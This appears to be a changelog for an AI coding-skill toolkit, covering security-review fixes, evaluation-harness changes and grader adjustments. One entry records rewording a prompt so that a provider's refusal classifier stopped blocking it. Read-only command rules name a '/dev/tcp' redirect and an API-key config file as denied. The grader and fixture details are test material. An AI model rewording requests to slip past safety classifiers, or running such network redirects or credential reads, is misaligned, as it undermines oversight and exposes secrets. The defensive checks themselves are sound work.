**`/cso` now starts and finishes on ordinary repositories that hold a nested Git repository, a long patch history, or a Docker socket on macOS 27.** Three user reports (#3255, #3248) each stopped a run on a normal repo.

### Fixed
- **An untracked nested Git repository or a registered submodule no longer stops `gstack-cso start` with `UNSAFE_PATH`.** Git lists such a directory as one entry (`inner/` for an untracked repo, `sub` for a gitlink). The snapshot now records it as one explicit `excluded: nested Git repository` entry that is never read or copied, and the snapshot coverage lists it under exclusions. The capture pins the boundary's device, inode and mode, so a directory swapped in during capture fails as `SNAPSHOT_RACE`. A symlink to a directory is still refused. Ported from #3256 by Chao Chen (@surlymochan), who keeps authorship of the fix. (#3255, bug 1)
- **A patch history over 1 MiB no longer leaves `history-inputs` not assessed.** The helper reads up to 100 commits of patches, then keeps the newest whole commits that fit the 1 MiB redaction bound. It never cuts inside a commit, so a secret can't be split across the cut and escape redaction. When even the newest patch is too large, it keeps commit metadata only. A truncated `history.txt` starts with a `[gstack-cso history truncated: …]` line, `history-status.json` records `truncated` and the retained commit count, and the history coverage becomes `partial` with that gap. The redaction bound is unchanged. (#3255, bug 2)

### For contributors
- **`test/cso-ordinary-repos.test.ts`** covers each report end to end through the compiled launcher and `capture()`. Its negative controls show that a symlinked directory is still refused, that a nested repository swapped during capture fails as a race (this check fails if the device and inode comparison is removed), that retained and omitted history never shows a credential canary, and that Docker endpoint admission still refuses non-sockets, dangling and looping links, `..` paths and TCP. The #3248 socket fallback (`realpathSocket`) shipped in 1.91.96.0. The new endpoint-level case fails when admission calls plain `realpathSync`.

## [1.91.151.0] - 2026-10-19

**Three contributor fixes: a saved "never ask" now sticks for /plan-eng-review's structure question, /context-save and /context-restore close three checkpoint gaps, and a new how-to covers the first production deploy.** Ported from fork PRs so they can run the paid gate; each commit keeps its author.

### Fixed
- **/plan-eng-review's complexity-gate structure question has a registered id (`plan-eng-review-structure`).** Each run used to invent its own slug, so a `never-ask` saved through /plan-tune never matched the next run and the question came back every time. On `AUTO_DECIDE` the recommended arrangement is taken; feature cuts are still asked one by one. `gstack-question-preference --check` now also falls back to `$GSTACK_HOME/global-question-preferences.json` (the file the question-preference hook already reads) when the project file has no entry; a project entry still wins and the one-way-door and split-chain guards run first. From #3249 by @bezdekt.
- **/context-save keeps provenance markers as English literals and backs file claims in Decisions Made; /context-restore treats a translated or unknown marker as `(path assumed)` and asks when no branch can pick between recent checkpoints with different titles.** Fixes #3217. From #3244 by @surlymochan.

### Added
- **`docs/howto-bring-up-a-first-deploy.md`:** a vendor-neutral walkthrough for when /setup-deploy stops at "Nothing is deployed yet" (host, services, env and secrets, DNS, verification, and what to have ready when you rerun /setup-deploy). Linked from the README and docs/skills.md. Fixes #3150. From #3264 by @szsunyuan.

## [1.91.150.0] - 2026-10-19

**The paid evals that still pinned older models now run on the current generation, and two cases that went red on the move are repaired at their cause.** Garry's direction (2026-10-18) is to stop testing older frontier models, so these files are re-baselined as a fresh measured reference rather than held to a threshold change.

### Changed
- **Old-model pins:** the `claude-opus-4-7` pins in `skill-e2e-plan`, `skill-e2e-plan-prosons`, `skill-e2e-design`, `skill-e2e-office-hours-phase4` and `skill-e2e-qa-bugs` now follow `resolveEvalModel('capture')` (Opus 5.5). The overlay benchmark fixtures pin `claude-opus-5-5` and `claude-sonnet-5-5`, the cookie workflow judge pins `claude-sonnet-5-5`, and `codex-sol-scope-termination` runs on `gpt-6.1-sol` while still rendering the `gpt-5.6-sol` overlay.
- **/setup-browser-cookies:** the workflow is now five ordered steps. It checks for Aside first and ends there on `READY`, since no import is needed. It then asks every decision (source and profile, domains and target, verification, storage reset, all cookies) before any `$B` command, prepares gstack's browser (verification variables before the daemon starts, the fallback, the `Mode: cdp` stop), imports, and reports on three lines: Imported, Storage reset, Sign-in. The `{{BROWSE_SETUP}}` block, which contradicted the Aside probe, is gone from this skill.
- **Gate integrity:** no threshold, trial count, case kind or assertion changed. Free-test edits follow the new cookie template: two phrase and order assertions, the approval fixture's reverse edits, and the positional-literals checksum list, which no longer includes this skill.

### Fixed
- **plan-review-prosons-hardstop-neg:** on Opus 5.5 one trial in three stopped with a provider refusal (`stop_reason: refusal`, category `reasoning_extraction`) on the turn that writes the captured question. Replays of the refused request were stopped 7 of 16 times with the capture prompt's "verbatim" and "Do NOT paraphrase. This is a format-capture test." wording and 0 of 24 without it. The shared prosons capture prompt now asks for "the text of the single AskUserQuestion you would have made", with the same required parts. The decision content and every assertion are unchanged; all four prosons cases pass 3/3.
- **Cookie workflow judge:** on `claude-sonnet-5-5` it scored clarity 3, completeness 4, actionability 3 against the old template. The rewritten template scores 4/4/4 with unchanged thresholds.

## [1.91.149.0] - 2026-10-19

**Paid eval cases can now run on the Codex host, and the Monday census runs two arms: Claude Opus 5.5 and Codex gpt-6.1-sol.** `EVALS_HOST=codex` runs the 52 adapter-only gate cases through a full Codex runtime per case. On its first pilot gpt-6.1-sol passed 48 of 52 with no retries, at $4.63 for the 52 cases, against $28.93 for the same cases on Fable (0.16×). Claude-only cases are skipped on Codex with a recorded reason and never count as failed. GSTA-49 TM2.

### Added
- **Codex host adapter:** `test/helpers/e2e-hosts.ts` holds the `EVALS_HOST` switch (`claude` default, `codex`) and the per-case host metadata. `test/helpers/codex-host-runner.ts` adds:
  - the case runner, with sandbox settings and a reasoning effort (the model default unless set);
  - file-change event mapping;
  - a transcript translated into the Claude stream-json shape that existing assertions read;
  - the native-lifecycle hooks.

  The 26 rework cases stay Claude-only.
- **Census arms (`scripts/census-arms.ts`):** `evals-periodic.yml` gets two census schedules.
  - **Monday:** a two-arm gate census, `claude-opus` and `codex-sol`.
  - **Monthly (`0 6 1 * *`):** census jobs only, with `claude-fable` (claude-fable-5-1) and `codex-astra` (gpt-6-astra) arms and a `-monthly` concurrency key.

  A `census_arms` dispatch input picks arms by hand. Artifact names and run IDs carry the arm, and a census-only run executes no periodic slice. Every arm keeps the census's `--skip-judges`.

### Changed
- **Codex cost is real:** `cost_known: false` is gone. Codex sessions price their `turn.completed` usage (input, cached input, cache-write input and output tokens) through `lib/pricing.ts`. The shared `execCodex` keeps the old runner's events and verdicts.
- **Plans, reports and the ledger carry the host** when it is not Claude. On Codex, the Anthropic preflight skips its `claude -p` ping.
- **Gate integrity:** no threshold, trial count, case kind, judge or Claude-host verdict changed. `HARNESS_VERSION` stays 6, and the changed harness files are recorded as non-behavioral. Five workflow tests now assert the census matrix per arm (one row per arm and slice, per-arm plan and report paths, a `periodic_lane` guard) in place of the single-arm shape; no assertion was dropped.

### If you…
- **…want one case on Codex:** `EVALS_HOST=codex GSTACK_CODEX_MODEL=gpt-6.1-sol bun run scripts/test-paid-shards.ts --tier gate --case <id> --trials 1`.
- **…want the monthly arms now:** dispatch `evals-periodic.yml` with `census_arms=claude-fable,codex-astra`.

## [1.91.148.0] - 2026-10-19

**Weekly seed PRs now get the credential scan as well as the free suites.** A pull request the recorder opens with the workflow token never starts its own `pull_request` checks. GitHub holds them as "action required". So the recorder dispatches its checks on the bot branch instead.

### Changed
- **`free-durations-record.yml` also dispatches Quality gate** on `bot/free-duration-seeds`, next to Free Tests (the required `free-tests` check) and Windows Free Tests.
- **The seed PR body says the dispatched runs are its checks** and explains why its pull_request runs wait for approval.

## [1.91.147.0] - 2026-10-19

**The free-suite duration seeds are current again.** This is the first refresh from the weekly recorder. It adds 14 Linux and 6 Windows test files that the shard packers had been placing at the 99th-percentile estimate.

### Changed
- **Seed allowlist:** `test/brain-sync.test.ts` (89 s) and `test/setup-codex-scope.test.ts` (64 s) are allowlisted with the existing split todo. `test/host-renders-prune.test.ts` (now 57 s) leaves the allowlist.
- **Editing the seed allowlist no longer selects paid evals.** Only the free seed ratchet reads `scripts/free-test-seed-allowlist.json`, but an edit to it used to pull in all 246 dependent gate cases. It is now classified free-only, like the two seeds.

## [1.91.146.0] - 2026-10-19

**`gstack-ship-queue` can run merge trains: several READY PRs share one full gate, merge one by one only while main's tree matches the prefix that gate tested, and a red train is bisected on its red cases alone.** The surface is off unless the base revision's `.gstack/ship-policy.json` declares a `train` block. Without one, `ready --pr <n>` prints exactly the block it prints today. gstack's own policy does not turn trains on yet: that waits for the workflow side (the train-nonce record, the `cases` and `prefix_shas` inputs and the dispatched screen) and one dry-run train. Walkthrough: [docs/ship-policy.md#run-a-merge-train](docs/ship-policy.md#run-a-merge-train). Plan GSTA-49, lane T1.

### Added
- **`train build --prs <n>@<sha>,…`** merges the pinned, unstamped heads in slot order onto main inside object storage (version files take the prefix's side, the CHANGELOG merges by section) and records every prefix tree T0..Tk. Screened PRs go first in READY order. When `max_size` or more unscreened PRs wait, they form their own train. A train below `max_size` waits up to `fill_hours` for its oldest READY, unless `--urgent`. It writes `train.json` before pushing `train/<nonce>`, requires a green `free_workflow` run on that exact SHA, then dispatches one full gate through eval-bg's nonce. `--dry-run` writes, pushes and dispatches nothing. Fork heads, moved heads, PRs without a READY receipt and conflicts are refused before any spend; a conflict line names the build without that PR.
- **`train status`** never spends. It rebuilds local records from `refs/notes/gstack-trains`, where every train, attempt, READY receipt and freeze is mirrored before any remote effect. It reconciles an unconfirmed dispatch by nonce, and only a dispatch it finds absent is sent again, under the same nonce. **`train verdict`** is GREEN only for a complete census bound to the train's nonce, head and tree, with the `full_gate_check` check run published. INFRA/INCOMPLETE panels, unbound, partial or cancelled shards, slices killed before upload and missing records are never green.
- **`train bisect --spend-cap <usd>`** runs only the red cases on every prefix, after an ancestry check against `train/<nonce>`. It reserves every case×prefix trial, launches what fits the cap and resumes without repeating a prefix. `ATTRIBUTED #<pr>` is reported only for a monotone pattern, and red on every prefix with T0 included is red on main. An all-green bisect earns exactly one unchanged `train rebuild`, with both runs reported. An INFRA/INCOMPLETE-only census earns the single re-dispatch `EVAL_POLICY.infraRedispatch` allows (`--infra`). A second red stays red.
- **`verify --pr <n> --train <nonce>`** prints `MERGE_CONDITION` only when main's tree equals the prefix before the PR modulo stamps and the PR is still at its pin, and confirms each merge against the prefix after it. When a train stops partway after earlier slots merged, the queue freezes. The freeze is recorded locally and on the notes ref first, then the backstop gate runs on main's SHA. One `train build --repair` PR is admitted, and verify clears the freeze when it lands.
- **`ready --screen [--broad] | --no-screen`** under a train policy. Without a choice, `ready` prints the screen selection and recommendation, then refuses. `--screen` dispatches one screen on the PR's merge SHA with `screen_pr`, `screen_merge_sha` and `screen_policy`. Dollar figures arrive with the cost replay. **`train prune`** deletes the branches of merged, superseded and dropped trains.
- **The `train` policy key** (introduced in 1.91.146.0; needs `min_gstack_version`) and 18 result codes with troubleshooting anchors: `QUEUE_TRAIN_*` and `READY_SCREEN_CHOICE_REQUIRED`.

### Changed
- **eval-bg's nonce key** can carry a purpose (screen, train, bisect, backstop) and a screen policy, so a broad screen never adopts a narrow run and a train never adopts a bisect. Plain lane keys are unchanged. Every dispatch input name now lives in `DISPATCH_INPUTS`.
- **Gate integrity:** `test/ship-policy-compat.test.ts` now reads the newest version in `POLICY_KEY_INTRODUCED` instead of hard-coding the ship-queue keys' version, so each new key doesn't need another edit. It is exactly as strict: an unknown key is still `POLICY_INVALID`, naming the newest version this gstack reads. The rebuild-once count is defined in the train module (`REBUILD_ONCE = 1`) until `EVAL_POLICY` records it. No threshold, trial count or case kind changed.

### If you…
- **…coordinate a queue:** add a `train` block with `min_gstack_version` on the base branch only after every lane runs this gstack. Remove it to return every lane to the per-PR queue at once.

## [1.91.145.0] - 2026-10-19

**The qa-only deadline fixture accepts pure local reads, so `qa-only-no-fix` no longer fails when the agent checks a skill file with `wc -l …; ls …`.** Opus 5.5's first Bash call in TM1's focused `qa-only-no-fix` run at e03bfeb was `wc -l qa-only/SKILL.md; ls qa-only qa-only/sections qa/sections qa/templates`. The fixture's narrow list rejected it with `QA deadline: unsupported outer shell composition`, though it only read inside the fixture. The fixture now opts into the shared read-only grammar from 1.91.143.0, as the docs-sync fixture did. A focused Opus run with the opt-in then failed on one more read, `ls; ls qa/templates; cat TODOS.md 2>/dev/null | head -20`, so the grammar now also lets a read discard or merge its stderr. PR #3272's Opus gate (run 39217387697) then failed the case after the agent stopped the browser inside the guard with `"$B" stop`, which the checkpoint rule counted as a third probe. This PR's own gate (run 39223031058) failed `ship-docsync-current` after Opus called the docs candidate helper at a path that does not exist, got exit 127, and reran the same command at the declared path.

### Changed
- **`test/helpers/qa-browser-deadline-evidence.ts`:** the deadline check also accepts any command the shared grammar allows inside the fixture directory, and the fixture prompt declares the grammar instead of "no other ls, wc, cat or find Bash calls". Receipts are still trusted only from the guard: a grammar read whose output has a line starting with `QA_DEADLINE ` fails as `receipt outside trusted guard invocation`. A grammar read of skill prose that only mentions QA_DEADLINE receipts mid-line passes, just as the same file read with Read does; the second focused Opus run tripped on `cat qa-only/sections/exploratory.md`. The fixture's existing allowed commands keep the stricter any-occurrence check.
- **Gate integrity, widening:** pure reads inside the fixture root, such as listing `qa/sections` or `ls -laR` of the screenshots directory, now pass where they used to fail. A free replay runs the captured slip inside a real guarded attempt. Reads that leave the root (`…/../../..`, `/etc`), joins with a non-read tool, redirects, `| tee`, `awk` and `sed -i` still fail. No threshold, kind, trial or behavior assertion changes. The `qa-quick`, `qa-only-no-fix`, `qa-fix-loop` and `qa-bootstrap` touchfiles add `test/helpers/read-only-commands.ts`.
- **Gate integrity, widening (shared grammar, GStack Minder-approved):** a read may end with exactly `2>/dev/null` or `2>&1`. Both fixtures that use the grammar accept it: qa-only and docs-sync. Every other redirect still fails, each with its own negative control: `2>` to a file, `2> /dev/null` with a space, `>` and `>>` on stdout, `&>`, `1>/dev/null`, `3>/dev/null`, `>&` and `2>&` to a file, `2>&2`, `2>/dev/tcp/…`, a leading `2>/dev/null`, a quoted `'2'>`, and `| tee`. The main control `ls docs 2>/dev/null` became `ls docs 2>docs/err.txt`. Two existing docs-sync controls only failed because of their stderr redirect, and each got a replacement that still fails: `ls 2>&1 | head` became `ls 2>&1 | sh`. The stored miss `cat {other}/bash-placeholder 2>/dev/null; cat {home}/state/config.yaml` moved to known_good_posix, and its `2>` to a file and `1>/dev/null` variants stay known_bad. The docs-sync prompt carries the updated grammar text, so the next PR gate selects the docs-sync cases.
- **Gate integrity, widening (checkpoint rule):** a guarded child that is exactly `"$B" stop`, `$B stop` or `<browse> stop` now counts as browser cleanup, the same as `closetab`. Cleanup needs no checkpoint and may come only after the last probe. The fixture prompt names both cleanup commands. A free replay of the three guarded calls captured in run 39217387697 (two probes with one checkpoint, then `stop`) passes, and fails on the previous rule with `follow-up lacks one acknowledged preceding checkpoint`. These still fail: `stop` before a probe (`browser cleanup preceded a probe`), a probe disguised as cleanup (`"$B" goto …; "$B" stop`), `stop --all`, and `stop` outside the guard (direct, or through a shell variable). The replay fixture `test/fixtures/qa-only-stop-cleanup-public.json` is registered in the `qa-only-no-fix` touchfiles, next to the existing observation fixture.
- **Gate integrity, widening (docs-sync observer, GStack Minder-approved):** only executed candidate calls count. The observer ignores a `gstack-docs-candidate` call outside the declared path only when all of these hold: the binary is an absolute literal path that does not exist, the recorded result is exactly `Exit code 127` with the shell's `no such file or directory: <that path>`, and a later call runs the same command at the declared path without failing. A free replay of all 43 tool calls captured in run 39223031058 passes, and fails on the previous observer. These still fail: a wrong-path binary that exists (whether it runs or claims 127), any other exit code or shell message, a 127 with no later declared-path run (or one that comes before, fails, or changes the arguments), and a non-candidate or relative binary. No threshold, kind, trial or behavior assertion changes. The replay fixture `test/fixtures/docsync-candidate-not-found-public.json` is registered in the `ship-docsync-current` touchfiles.

## [1.91.144.0] - 2026-10-18

**The paid PR gate now tests Claude Opus 5.5 instead of Fable 5.1. Its first full Opus gate went 132/132 green and recorded $32.33, against Fable's $93.16 mean over ten full gates.** Garry's direction (2026-10-18) is to test each lab's best code model. Calibration run 39157502890 passed all 108 rule cases and 24 judges on one attempt each, with no reused receipts, on the same case set every Fable gate passed. Opus 5.5 sessions cost $30.86 (Fable: $90.49), judges $1.44 and Haiku side calls $0.08; with the unrecorded PTY sessions estimated, the full-gate scale is $37.13 against $106.17. Output tokens fell 37% (thinking 69%) and session time from 11,859 s to 6,159 s. The Claude CLI runs Opus 5.5 at medium effort by default and Fable at high.

### Changed
- **Model under test:** `CLAUDE_CAPTURE_EVAL_MODEL` in `lib/eval-model.ts` (renamed from `CLAUDE_FRONTIER_EVAL_MODEL`; Opus 5.5 is the catalog's smart tier, not its frontier) is `claude-opus-5-5`. Every `claude -p`, PTY and Agent SDK eval runner passes it as `--model` unless a test names a model or `EVALS_MODEL` is set.
- **The judge stays Fable 5.1.** The new `CLAUDE_JUDGE_EVAL_MODEL` (`claude-fable-5-1`) is the `judge` default, the arm benchmark's judge and the judge calibration configs' model, because the calibration fixtures are keyed to it. The `claude-fable-5-*` → `fable-5` overlay routing now holds while the judge is a Fable 5 release.
- **plan-review-report** drops its `claude-opus-4-7` pin and follows the capture default; it was the only PR-gate case on Opus 4.7. The periodic Opus 4.7 files keep their pins (TODOS).
- **A new pass-rate series:** `HARNESS_VERSION` 5 → 6 (which also covers the floor runner change below), so no Fable trial pools with an Opus one, and shard-reuse receipts already key on `lib/eval-model.ts`. Warmup and distill stay on Haiku.
- **Gate integrity:** no threshold, trial count, case kind or judge changed. The detector and prompt edits are listed under Fixed. Eight floor tests that expected `timeout` for a permission dialog nobody answered now expect the named failure `permission_unanswered`. Other test edits update asserted model IDs and their prices, plus one assertion naming `scripts/harness-version.json` so pregate maps the manifest to a test lane.

### Fixed
The second Opus gate (run 39161502626) went 127/132. Each of the five reds is now replayed from its captured run as a free regression, with negative controls that still fail.
- **review-coverage-audit:** the read detector rejected `cd <cwd>; cat -n … && echo ---- && cat -n …` and a trailing `wc -l <files>`. A leading `cd` to the recorded cwd followed by `;` may now precede one uniform `&&` chain, and `wc -l` accepts literal files inside the cwd. Other separator mixes and outside paths still fail.
- **shared-libs-unsupported-git:** Claude Code 2.1.292's own `git --version` probe (which starts with `core.askPass=`) is recognized as that exact argv only. Any added argument, a non-Claude parent or a model command that copies it still fails.
- **ship-local-hook-preservation:** besides "manual", one sentence telling the user to integrate, combine, merge, set up or add the hook "yourself" (or "by hand" addressed to them) now counts as reporting manual integration. Opus said "integrate the hook yourself", "combine … by hand" and "set up … yourself".
- **tpa-absent-linux** (the third gate, run 39166935531): Opus offered "step-by-step instructions to do it yourself" instead of saying "manual". Beside "manual", one sentence offering instructions or steps the user follows themselves now counts as the manual option.
- **qa-only-no-fix:** the fixture prompt now says the 30-second guard starts only after the charter Write has completed, and that local inspection outside the listed calls uses Read/Glob, not `ls`, `wc`, `cat` or `find` (its own `ls -la` entries had read as general permission). The budget and the assertion are unchanged.
- **plan-ceo-finding-floor:** Opus saved its D1 decision to the owned working plan before printing any text, as the 0D Save step requires. The permission check identified the parent session only from text or questions, so it never granted that Create and the run timed out after 600 s. A parent with only tool events is now identified by them, still as exactly one session that owns the pending Write. The floor runner also fails within 20 s with `PERMISSION_DIALOG_UNANSWERED` when a permission dialog gets no owned grant.
- **plan-ceo-finding-floor, Edit menu** (3 of 10 measured trials): after that Create, Opus edited the plan and the cropped Edit menu stayed unanswered. Twice Claude Code showed the menu before publishing the Edit, and once three Edits were pending at once, so the check found no single published Edit. The plan's own PreToolUse input now covers an unpublished Edit, as it already did for Write, and the visible diff must match exactly one pending Edit on the owned plan. An Edit to another file, a diff matching none or several pending Edits, and a foreign session are still refused.
- **shared-libs-review-index-flags** (the fourth gate, run 39173752116): the skip-worktree review read all three evidence files in one `for f in <literal paths>; do echo "=== $f"; cat -n "$f"; done` loop. A loop over literal paths now counts as reading a file only when its output names that file. A loop over a variable list, a file missing from the output, a path outside the repo and the existing loop with no path in its output are still rejected.
- **investigate-owned-abort and investigate-owned-ending-error** (the slot gate, run 39195396438): both actors asked their one continue/abort question in their own words ("go ahead … or stop now?") with exactly a Continue and an Abort option. The fixture recognized the question only by the words continue, proceed or abort in its text, refused it, then refused the re-ask as a second question. It now identifies the question by its two options' meanings. A second question, a question before the lock is acquired, an option set without an abort choice, three or more options and options whose descriptions contradict their labels are still refused.
- **plan-design-with-ui-scope** (gate run 39199692993): Opus titled its focus question "Review focus: all 7 dimensions or specific areas?" and opened the body with "I rated this plan 5/10 on design completeness". The check required the word "design" in the title, so it missed the acknowledged design focus. An all-7 or focus title now also passes when the body carries the skill's own rating sentence ("I rated this plan N/10 on design completeness"). A focus title with no rating, a rating with no focus choice, a target menu that mentions a design system and a 5/7 dimension count are still refused.
- **Phrasing sweep (gate integrity):** every assertion in the 108 gate rule cases that matches the model's own wording was checked against all seven Opus gates (runs 39157502890 to 39199692993) and the local measurement runs. Eleven, listed below, were narrow. They passed only through a restated option, a quoted tool error or option label, or a single token, so a paraphrase seen in the captures would have failed them, or (the two tightenings) they missed an offer that the captures show. Each is now replayed from those captures as a free test, with controls in which the milestone is absent that still fail. 106 were robust and left unchanged, because they match wording the skill prescribes or several of the model's own phrases match. Six were also left unchanged: four were never exercised by any capture, and two have no captured miss to widen toward.
- **review-gate-integrity:** the disposition check also accepts option D's letter form ("D) open", "left open") and a `Gate edits:` line with a non-zero kept, restored or open count. In all seven reports, the open disposition was written in one of these forms, and the check passed only because option A was restated. "Gate edits: none detected", an all-zero line, UNAVAILABLE and an auto-fix report are still refused.
- **shared-libs-unsupported-git:** the coverage disclosure must be in the model's own words. The shims' `unknown option: --no-lazy-fetch` and `API unavailable in this fixture` text is removed before matching, and "couldn't", "can't", "unreadable" and "no … history" now count. In run 39157502890, the only match had been the pasted 403 error, while the model's own disclosure ("I couldn't read Git history") had none. A report that pastes the error but claims full history is now refused.
- **investigate-owned-ending-error:** the acknowledgment must be one sentence that names the verifier together with its failure ("the verifier couldn't run", "isn't verified", "unavailable"). Five of six runs had matched only the quoted `FIXTURE_ENDING_ERROR` output or "no cleanup errors". All 14 captured completion and abort replies, and the run that never reached the verifier, are refused.
- **tpa-present:** the defer check now reads the lettered options rather than any mention of "defer". It accepts "put this off for now", "skip it for now and come back to it later" and "postpone", which Opus used for option D in 4 of 28 consent questions. Narration such as "if you would rather defer" no longer counts.
- **tpa-absent-linux, tpa-broken, tpa-absent-darwin (tightening):** the Aside drive-offer detector also reads options inside a `>` blockquote and first-person offers ("I do it in your Aside browser"). It missed that tpa-present 39173752116 offer. All 21 captured absent, broken and darwin replies still offer none.
- **tpa-apple-ban (tightening):** the no-drive check reads bulleted and bold options (`- **B)** …`). The old pattern caught a drive option in only 1 of the 28 captured Opus consent renders. All seven Apple-credential replies still offer none.
- **ship-local-hook-preservation:** the manual-integration sentence also accepts "wired in" and "by hand" addressed to "someone" or in the passive ("needs to be wired in by hand"). Runs 39199692993, 39195396438 and 39173752116 used these forms.
- **ship-unmanaged-hook-consent:** the declined acknowledgment also accepts "untouched", "nothing was installed or changed", "installed nothing" and "didn't modify/touch/change". A quoted option label (You chose "Leave it alone") no longer counts; run 39166935531 had matched only that.
- **plan-devex-finding-floor:** the deterministic TTHW-target credit accepts "time-to-first-SDK-call target" and the template's "Which target fits this journey?". Runs 39173752116 and 39199692993 had fallen back to the LLM judge. Other target questions still go to the judge.
- **plan-design-with-ui-scope, Step 0D sentence:** the template branch accepts "Want me to focus on specific areas instead?" without "of all 7", as runs 39181697029 and 39195396438 wrote it. Before, a line break in that sentence would have reproduced the 39199692993 red.
- **plan-design-with-ui-scope, Pass 1:** the UI-choice title vocabulary includes the template's hierarchy question ("What does the user see first, second, third?"). Runs 39157502890 and 39161502626 had been carried only by the issue-numbered option labels.
- **plan-eng-coverage-audit** (gate run 39207508651, its one red): Opus ran `cd <cwd>; wc -l plan-eng-review/SKILL.md plan-eng-review/sections/review-sections.md; cat src/billing.ts; echo ----; cat test/billing.test.ts`, and the output held both complete files. The read detector placed a file only after an echo label, so it refused the first `cat`. Output of exactly known length (`wc -l` over literal files in the cwd) now places the next file exactly that many lines later. An injected line, a missing count line, `ls` instead of `wc`, a path outside the cwd, a wrong file or swapped files still fail.
- **review-coverage-audit, separator collision:** review/specialists/testing.md prints a `---` line, so with `echo ---` as the separator a neighbouring line took the label's slot and the read was refused (run 39199692993 used `echo ----` and passed). A label's slot is now counted from the end, and a second complete copy of the file anywhere after it voids the credit. A forged copy before the slot, a forged copy with a tampered slot, a later label with its own copy and a wrong file still fail.
- **shared-libs-unsupported-git** (run 39161502626, the part the earlier fix missed): after the model's `cd` into the repository, Claude Code 2.1.292 re-probed the new directory with `git -C <repo> worktree list --porcelain -z` behind the same `core.askPass=`-first prefix as its `--version` probe. The earlier regression replayed only the first refused request. That probe of an absolute directory is now recognized as Claude's own, and the free regression replays every Git request of the capture through the gate's own read-only check, now shared as `repoGitRequests` and `isReadOnlyRepoGitRequest`. Another subcommand, an appended argument, a relative `-C`, a missing hook flag, a shell parent, a missing parent pid or a model command that copies the argv still fail.
- **Command-interface sweep (gate integrity):** every captured Opus command and read from the eight gates and the local measurement runs was replayed through the command and read-evidence detectors: coverage audit, shared-libs, QA callers, qa-functional's live hook, the ship hook and skip actors, workflow boundaries, the autoplan read audit and AUQ capture. Of 79 rules, 55 are robust, the three above are fixed and 21 are left with reasons, mostly interfaces the fixture prompts prescribe verbatim (qa-functional's `cat` denial among them). Replaying all 50 captured coverage-audit Bash calls through the new detector loses no credit and adds only the 39207508651 read.

### If you…
- **…compare pass rates across the switch:** Fable trials carry `harness_version: 5` and Opus trials `6`; they are separate series.
- **…need Fable for one run:** set `GSTACK_EVAL_MODEL_CAPTURE=claude-fable-5-1` (or `EVALS_MODEL`).

## [1.91.143.0] - 2026-10-18

**Paid-eval fixtures can share one read-only Bash grammar, and the docs-sync fixture uses it, so a pure read inside the fixture no longer fails a case just because the model joined or piped it.** In four Opus gates, docs-sync and qa-only cases went red on commands like `wc -l <SKILL.md>`, `ls -la …/*` and `cat a; echo ----; cat b`. Each was a harmless read inside the fixture, but each fixture's hand-kept allowlist rejected it. `test/helpers/read-only-commands.ts` decides once whether a command line only reads inside a fixture root. Fixtures whose contract is about which reads happen keep their narrow lists. On this tree the PR gate's 13 docs-sync cases all pass on Fable 5.1 ($20.62).

### Added
- **The shared grammar.** It accepts one line of listed read tools (pwd, ls, wc, head, tail, cat, stat, file, du, find, grep, rg, sort, uniq, cut, nl, the checksum tools, readlink, realpath, echo, printf and `sed -n <range>p`), joined with `;`, `&&` or `||`. A pipe may feed only a filter, and `cd` may go only into the root. Every path operand, path-valued option and glob match must resolve, symlinks included, inside the root and outside the fixture's denied paths. It rejects other tools, redirects, substitutions, variables, tilde and brace expansion, background jobs, multi-line input, and the write, exec, symlink-following and output-file options of the listed tools. On Windows it accepts nothing.
- **The docs-sync fixture opts in.** Its declared interface includes the grammar text. Git reads, the Preamble block, lifecycle and candidate commands, and scripts still each run as their own Bash call. The completed-read check credits a `cat` inside an accepted line, and a trailing `;` on a declared read counts as a harmless wrapper.

### Changed
- **Gate integrity, tightening:** docs-sync's narrow pwd, ls, cat, stat and sha256sum forms used to accept any path. Now each operand must stay inside the fixture home, and actor state and every Claude config file except `settings.json` stay unreadable (`.claude.json` holds the API key). A replay of all 538 docs-sync commands from four Opus gates and 466 from two Fable gates finds none newly rejected.
- **Gate integrity, widening:** 78 negative controls pin each rejected class to its rule. 56 accepted forms run for real and leave both the fixture tree and an outside tree byte-identical. `echo` and `printf` take literal arguments only (no `printf -v`). `sed` takes only `-n` and one line-range print script, so `-i`, `w`, `-e` and multi-command scripts stay rejected. No threshold, kind, trial, behavior assertion or narrow-list allowlist changes.

### If you…
- **…write a fixture whose contract isn't about which reads happen:** accept `readOnlyCommandAllowed(command, { root, deny })` and declare `readOnlyInterfaceText(root)` to the actor.

## [1.91.141.0] - 2026-10-18

**Daily `/cso` reports now leave out candidates without demonstrated in-scope impact.** The daily rubric already required an attacker-controlled entrypoint, a security-boundary crossing, demonstrated impact, and challenged protective controls. It now says what to omit: candidates whose impact needs code outside the snapshot or a future change, or that expose nothing sensitive. Those stay coverage evidence instead of supported findings. Comprehensive reports are unchanged and keep unresolved candidates as labeled hypotheses. In the third paid runtime qualification, daily precision was 47/53, below the 0.95 bar, and four of its five false-positive classes were findings of this kind. In a preregistered 12-cell pilot, 5 of the 6 false positives disappeared, every seeded issue was kept, and no new false positive appeared. Daily reports also drop low and informational real issues: 4 of the 13 pilot controls were lost this way. Garry accepted that trade-off. Comprehensive mode still reports them.

### Changed
- **`cso/SKILL.md.tmpl`: the daily supported-finding paragraph names what to omit.** The generated `cso/SKILL.md` is 18,097 bytes, under the 18,100 parity cap. This changes no gate, scorer, threshold, sample count, recall definition, baseline or answer key.

## [1.91.140.0] - 2026-10-18

**/cso evaluation cells that run a repair no longer fail on helper dependency-closure names that use the helper's own 32-character finding IDs.** In the third paid runtime qualification, one comprehensive cell failed with REDACTION_FAILED again, on `dependency-closures/<finding id>-after-<plan hash>.json`. 1.91.135.0 taught the producer this name shape with a 64-character finding ID. The helper actually names closures with its 32-character finding IDs, so real names still fell through to the secret redactor, which reads some of them as wallet addresses.

### Fixed
- **The eval producer recognizes dependency-closure names with 32- or 64-character finding IDs.** Any other word in the phase position still goes through the redactor. The test now uses a real-length, redactor-flagged 32-character name and fails on the 1.91.135.0 pattern.

## [1.91.139.0] - 2026-10-18

**The docs-sync fixture's declared Git interface now includes read-only `git describe`, so `ship-docsync-store` no longer goes red when the /document-release child checks for release tags.** PR #3272's gate run 39153452209 failed that case on one command, `git describe --tags --always`, which the observer did not list. A focused paid rerun of `ship-docsync-store` on this tree passed ($3.83); the child ran the same command twice and the observer accepted it.

### Changed
- **Accepted:** `git describe` with any of `--tags`, `--always`, `--abbrev=<n>` and `--exact-match`, plus at most one literal revision. The observer prose that parents pass to children lists the same forms, so the code allowlist and the prompt agree.
